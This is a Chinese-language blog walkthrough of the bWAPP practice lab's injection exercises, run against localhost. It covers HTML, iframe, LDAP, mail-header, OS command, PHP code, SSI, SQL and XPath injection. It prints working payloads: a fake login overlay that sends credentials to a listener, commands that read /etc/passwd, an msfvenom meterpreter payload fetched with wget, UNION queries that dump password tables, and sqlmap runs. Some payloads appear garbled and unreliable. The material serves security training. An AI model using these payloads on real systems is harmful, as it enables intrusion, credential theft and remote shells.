Please enable Javascript to view the contents

bWAPP学习记录A1注射

 ·  ☕ 6 分钟  ·  ✍️ IceKam · 👀... 阅读
  • 列表为翻译,方便记忆,原创作品,禁止转载。

HTML注入-反射(GET)

访问地址:

1
http://localhost:8088/htmli_get.php

在First name:和Last name: 输入:

1
<marquee><h2>Hello I'm IceKam!!</h2></marquee> and <img src="hacked.jpg">
  • 意义:使用marquee标签(跑马灯)嵌套一个h2大小的文本为Hello I’m IceKam!!,和嵌套一个hacked.jpg的图片。

HTML注入-反映(POST)

访问地址:

http://localhost:8088/htmli_post.php

在First name:和Last name: 输入:

1
<a style=font-size: 14px; text-decoration: none; margin: 0 auto; background: #69a229; color: white; font-weight: 400; border: 1px solid #457a04; border-radius: 4px; display: inline-block; href=https://www,icekam.com&#8221; target=_blank><span style=display: inline-block; padding: 10px 34px;>Click here to win IPhone99</span></a>

通过上面的例子,可能的攻击可能是

  • a)恶意用户通过HTML注入发送邀请
  • b)受害者认为这是来自应用程序本身的按钮
  • c)受害者浏览器被劫持

注入上面的代码后,您将在屏幕上看到它,直到当前会话停止。你在网址中看不到任何内容。这是GET和POST注射之间的主要区别。
建议使用

HTML注入-反映(当前URL)

访问地址:

1
http://localhost:8088/htmli_current_url.php

修改post url为

1
http://localhost:8088/htmli_current_url.php#<h1>XSS DOM  By IceKam</h1>

HTML注入-存储(博客)

Kali Linux下运行NC

1
nc -vlp 80
  • 开启NC 监听80端口
1
<div style="position: absolute; left: 0px; top: 0px; width: 1900px; height: 1300px; z-index: 1000; background-color:white; padding: 1em;">Please login with valid credentials:<br><form name="login" action="http://www.icekam.com/login.htm"><table><tr><td>Username:</td><td><input type="text" name="username"/></td></tr><tr><td>Password:</td><td><input type="text" name="password"/></td></tr><tr><td colspan=2 align=center><input type="submit" value="Login"/></td></tr></table></form></div>
  • www.icekam.com 改为本地IP地址,在网页中提交poc ,输入任意帐号密码,NC即可反弹成功。

iFrame注射

访问地址:

1
http://localhost:8088/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250

修改post url为

1
http://localhost:8088/iframei.php?ParamUrl=https://www.icekam.com&ParamWidth=250&ParamHeight=250
  • IFRAME 源 URL 是 robots.txt,并且作为参数暴露在 URL 中,我们更改为任一URL即可复现。

LDAP注入(搜索)

访问地址:

1
http://localhost:8088/ldap_connect.php

Login:IceKam
Password:hello
Server:127.0.0.1 (需要利用的ip)

  • 以上即可更改或者创建任意ladp下的权限

邮件头注入(SMTP)

访问地址:

1
http://localhost:8088/maili.php

post提交以下代码即可无限利用

1
name=Icekam&email=root%40icekam.com&remarks=test+by+icekam.&form=submit
  • 在此示例中,攻击者正在插入换行符(\n在\r\nWindows系统上的大多数UNIX和Linux系统上),并附加一个包含附加电子邮件地址的密码SMTP标头,SMTP服务器将向BCC发送电子邮件。
  • 攻击者可以使用这样的策略匿名发送大量消息,甚至发送网络钓鱼电子邮件,其中接收者认为这些消息源自可信来源。还值得注意的是,此漏洞不限于PHP; 它可能会影响任何基于任意用户输入发送电子邮件的应用程序。

OS命令注入

访问地址:

1
http://localhost:8088/commandi.php

在DNS lookup 输入:

1
;ls
  • 以上poc为列目录命令,可以举一反三测试。
  • 命令注入是一种攻击,其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令。当应用程序将不安全的用户提供的数据(表单,cookie,HTTP标头等)传递给系统shell时,可能会发生命令注入攻击。
  • 在此攻击中,攻击者提供的操作系统命令通常以易受攻击的应用程序的权限执行。命令注入攻击很可能主要是由于输入验证不足。
  • 此攻击与代码注入不同,因为代码注入允许攻击者添加自己的代码,然后由应用程序执行。在代码注入中,攻击者扩展了应用程序的默认功能,而无需执行系统命令。

操作系统命令注入-盲目

访问地址:

1
http://localhost:8088/commandi_blind.php

使用MSFvenom生成payload 并监听

1
msfvenom -p php/meterpreter/bind_tcp LHOST=ipaddress LPORT=4444 > icekamtest.php

Enter your IP address: 提交生成的payload url即可反弹成功

1
wget https://www.icekam.com/icekamtest.php

PHP代码注入

访问地址:

1
http://localhost:8088/phpi.php

get

1
http://localhost:8088/phpi.php?message=a;$fp%20=%20fopen(%22/etc/passwd%22,%22r%22);$result%20=%20fread($fp,1024);%20echo%20$result
  • 通过以上poc即可读取/etc/passwd 文件

服务器端包含(SSI)注入

访问地址:

1
http://localhost:8088/ssii.php

First name:

1
<script>alert(“IceKam”)</script>

Last name:icekam

  • 以上poc为xss弹出,可以利用以下poc逐一测试。
1
2
3
<!--#config timefmt="%A %d %B, %Y" -->
<!--#echo var="DATE_LOCAL" -->
<!--#echo var="LAST_MODIFIED"-->

SQL注入(GET/Search)

访问地址:

1
http://localhost:8088/sqli_1.php

search

1
m' order by 1-- -
  • 从1开始测试。
1
m' order by 8-- -
  • 8测试成功,说明有7列。
1
2

m' union all select 1,2,3,4,5,6,7 -- -
  • 没有错误。
1
m' union all select 1,database(),3,4,5,6,7 -- -
  • 查询数据库版本。
1
m' union all select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() -- -
  • 查询数据库表名。
1
m' union all select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' and table_schema=database() -- -
  • 查询用户表列表。
1
m' union all select 1,login,password,secret,5,6,7 from users -- -
  • 查询信息,包含登录,密码等。

得到密码后可保存为txt文件,使用John破解密码。

SQL注入(GET/Select)

访问地址:

1
http://localhost:8088/sqli_2.php
1
http://localhost:8088/sqli_2.php?movie=1&action=go
  • 点击go后出现原始url
1
http://localhost:8088/sqli_2.php?movie=11%20union%20select%201,2,3,4,5,6,7#&action=go
  • 让movie参数报错
1
http://localhost:8088/sqli_2.php?movie=11%20union%20select%201,login,password,email,5,6,7%20from%20users#&action=go
  • 查询信息,包含登录,密码等。

得到密码后可保存为txt文件,使用John破解密码。

SQL注入(POST/搜索)

访问地址:

1
http://localhost:8088/sqli_6.php

打开burpsuite,搜索,获取http头Cookie信息。
打开sqlmap,输入以下命令测试注入。

1
sqlmap -u "http://localhost:8088/sqli_6.php" --data="title=&action=search" --cookie="security_level=0; PHPSESSID=7cq8h8mf1oob0jvbj767ool5a1"
  • 以上命令可灵活运用,里面的内容为burpsuite获取的信息。

sqlmap获取到payload

1
title=' AND (SELECT > * FROM (SELECT(SLEEP(5)))xkdl)-- QzoS&action=search
  • 已经成功获取系统信息
1
2
3
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5

SQL注入(POST/Select)

访问地址:

1
http://localhost:8088/sqli_13.php

如上打开burpsuite,搜索icekam,获取http头Cookie信息。
打开sqlmap,输入以下命令测试注入。

1
sqlmap -u "http://localhost:8088/sqli_13.php" --data="movie=1&action=go" --cookie="security_level=0; PHPSESSID=7cq8h8mf1oob0jvbj767ool5a1"

sqlmap获取到payload。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
---
Parameter: movie (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: movie=1 AND 2538=2538&action=go

    Type: error-based
    Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
    Payload: movie=1 AND (SELECT 2*(IF((SELECT > * FROM (SELECT CONCAT(0x716a767871,(SELECT (ELT(7421=742))),0x71627a6b71,0x78))s), 8446744073709550, 8446744073709550)))&action=go

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: movie=1 AND SLEEP(5)&action=go

    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: movie=-3453 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a767871,0x5a6148414d456d664f6e7277766d47656b4c46666a4f795543464a7557425648414f6a484a474164,0x71627a6b71),NULL,NULL,NULL-- OMxs&action=go
---
  • 已经成功获取系统信息
1
2
3
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.0

SQL注入(AJAX/JSON/jQuery)

访问地址:

1
http://localhost:8088/sqli_10-1.php

如上打开burpsuite,搜索icekam,获取http头Cookie信息。
打开sqlmap,输入以下命令测试注入。

1
sqlmap -u "http://localhost:8088/sqli_10-2.php?title=icekam" --cookie="security_level=0; PHPSESSID=7cq8h8mf1oob0jvbj767ool5a1"

sqlmap获取到payload。

1
2
3
4
5
6
---
Parameter: title (GET)
    Type: UNION query
    Title: Generic UNION query (NULL) - 7 columns
    Payload: title=' UNION ALL SELECT NULL,CONCAT(CONCAT('qpjjq','zuFBmsiOnBcMmpDKoJBLhtCqlatyFRXMUQgacCIk'),'qqkjq'),NULL,NULL,NULL,NULL,NULL-- Kafs
---
  • 已经成功获取系统信息
1
2
3
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.0.0

SQL注入(CAPTCHA)

SQL注入(登录表单/英雄)

访问地址:

1
http://localhost:8088/sqli_3.php

使用万能密码。

1
1' or  or '1

SQL注入(登录表单/用户)

访问地址:

1
http://localhost:8088/sqli_16.php

直接post密码

1
2
3
login=' and 0 UNION SELECT 1,2,'356a192b7913b04c54574d18c28d46e6395428ab',4,5,6,7,8,9#
&password=1
&form=submit

SQL注入(SQLite)

SQL注入(Drupal)

利用msf测试。

SQL注入-存储(博客)

访问地址:

1
http://localhost:8088/sqli_7.php

输入poc提交。

1
',(select version()))#
  • 成功回显系统版本。

SQL注入-存储(SQLite)

SQL注入-存储(用户代理)

访问地址:

1
http://localhost:8088/sqli_17.php

如上打开burpsuite,更改User-Agent。

1
User-Agent: icekam',(select version()))#
  • 以上poc即可获取操作系统版本,更多姿势可以灵活运用。

SQL注入-存储(XML)

访问地址:

1
http://localhost:8088/sqli_8-1.php

如上打开burpsuite,点击>Any bugs修改以下poc。

1
<reset><login>bee&test;</login><secret>Any bugs?</secret></reset>

SQL注入-盲-基于布尔

访问地址:

1
http://localhost:8088/sqli_4.php

post

1
http://localhost:8088/sqli_4.php?title=Iron Man ' and (substr((select version()),)=5) --+

SQL注入-盲目-基于时间

访问地址:

1
http://localhost:8088/sqli_15.php

post

1
http://localhost:8088/sqli_4.php?title=Iron Man' and (if((substr((select version()),)=5),sleep(5),null)) --+

SQL注入-盲目(SQLite)

SQL注入-盲(Web服务/SOAP)

访问地址:

1
http://localhost:8088/sqli_5.php

如上打开burpsuite,点击>go修改以下poc。

1
http://localhost:8088/sqli_5.php?title=Iron+Man ' and (substr((select version()),)=5) --+ &action=go

XML/XPath注入(登录表单)

访问地址:

1
http://localhost:8088/xmli_1.php

帐号密码,不解释。

1
' or '1'='1

XML/XPath注入(搜索)

分享
您的鼓励是我最大的动力
bitcoin QR Code

icekam
作者
IceKam
茶艺品鉴砖家,低端码字人口。